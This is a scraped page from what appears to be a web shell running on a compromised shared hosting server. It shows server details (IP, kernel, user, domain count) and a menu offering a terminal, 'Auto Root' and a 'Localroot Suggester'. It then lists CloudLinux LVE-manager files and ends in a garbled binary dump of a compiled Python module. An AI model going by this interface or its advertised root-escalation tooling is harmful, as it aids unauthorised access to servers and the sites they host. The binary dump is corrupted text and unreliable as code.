Linux evo.fastest-server.com 5.14.0-284.1101.el9.tuxcare.11.els11.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 14 13:30:35 UTC 2026 x86_64
LiteSpeed
Server IP : 103.249.112.113 & Your IP : 216.73.217.135
Domains : 988 Domain
User : tanishks
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
l.v.e-manager /
utils /
__pycache__ /
Delete
Unzip
Name
Size
Permission
Date
Action
cloudlinux_cli.cpython-311.pyc
67.25
KB
-rw-r--r--
2026-08-11 11:38
cloudlinux_cli_user.cpython-311.pyc
23.41
KB
-rw-r--r--
2026-08-11 11:38
cpanel_api.cpython-311.pyc
14.66
KB
-rw-r--r--
2026-08-11 11:38
dynamicui_base.cpython-311.pyc
1.1
KB
-rw-r--r--
2026-08-11 11:38
dynamicui_cpanel.cpython-311.pyc
6.03
KB
-rw-r--r--
2026-08-11 11:38
dynamicui_da.cpython-311.pyc
4.84
KB
-rw-r--r--
2026-08-11 11:38
dynamicui_plesk.cpython-311.pyc
2.25
KB
-rw-r--r--
2026-08-11 11:38
libcagefs.cpython-311.pyc
10.05
KB
-rw-r--r--
2026-08-11 11:38
libcloudlinux.cpython-311.pyc
46.66
KB
-rw-r--r--
2026-08-11 11:38
libsupport.cpython-311.pyc
2.38
KB
-rw-r--r--
2026-08-11 11:38
sync_locales.cpython-311.pyc
5.05
KB
-rw-r--r--
2026-08-11 11:38
ui_package_installer.cpython-311.pyc
7.88
KB
-rw-r--r--
2026-09-04 11:50
Save
Rename
� w/����lB� �� � d dl mZ d dl mZ d dlmZmZ d dlZd dlZd dlm Z d dl mZmZ d dl Z dZdZd Zd gZdd�Z G d� d e� � Z G d� de� � Z G d� de� � ZdS )� )�absolute_import)�print_function)�exit_with_error�run_commandN)�abstractmethod)� WhmApiRequest�WhmApiError�admin�reseller�userzIThe event UAPI::LangPHP::php_set_vhost_versions was handled successfully.c � � | t k rt � � S | t k r!|st d� � t |�� � S t � � S )a Factory method that returns certain class depending on owner's type :param owner: Can be 'admin', 'reseller' or 'user' :param username: required when owner == 'reseller' so the UAPI call is bound to the reseller's cPanel account :return: z*Reseller cpanel-api call requires username)�scoped_user)�OWNER_ADMIN�CPanelAdminApi�OWNER_RESELLERr � CPanelUserApi)�owner�usernames �p/builddir/build/BUILDROOT/lvemanager-7.11.47-1.el9.cloudlinux.x86_64/usr/share/l.v.e-manager/utils/cpanel_api.py�get_cpanel_api_classr s[ � � ������������ � J��H�I�I�I���2�2�2�2��?�?�� c � � e Zd ZdZdZi Zed� � � Zed� � � Zed� � � Z e d� � � Zd� Ze d� � � Z d � Ze d � � � Zdd�Zd S )� CPanelApiz� Abstract method that defines abstract methods that must be implemented and common methods of the derived classes z --output=jsonc � � t d� � �)zo Checks whether operation is allowed to perform :param called_method: :return: z3Method check_operation_allowed must be implemented!��NotImplementedError��self� called_methods r �check_operation_allowedz!CPanelApi.check_operation_allowed7 s � � "�"W�X�X�Xr c � � t d� � �)z^ Depending on the passed arguments, the method builds running command z3Method prepare_running_command must be implemented!r )r r �params�return_jsons r �prepare_running_commandz!CPanelApi.prepare_running_command@ s � � "�"W�X�X�Xr c � � t d� � �)z� Some results are parsed before sending back to the called. This method parses it and returns transformed result. z(Method parse_result must be implemented!r )r r �results r �parse_resultzCPanelApi.parse_resultH s � � "�"L�M�M�Mr c �. � |D ]}| |d k r dS �dS )zo CPanel API contains several methods and not all of them if supported by this utility. �methodTF� ��method_name�methods� method_objects r �check_method_allowedzCPanelApi.check_method_allowedQ s4 � � %� � �M��m�H�5�5�5��t�t� 6��ur c � � t d� � �)zq Checks whether CPanel API returned error or not :param result: :return: z,Method check_for_errors must be implemented!r )r r&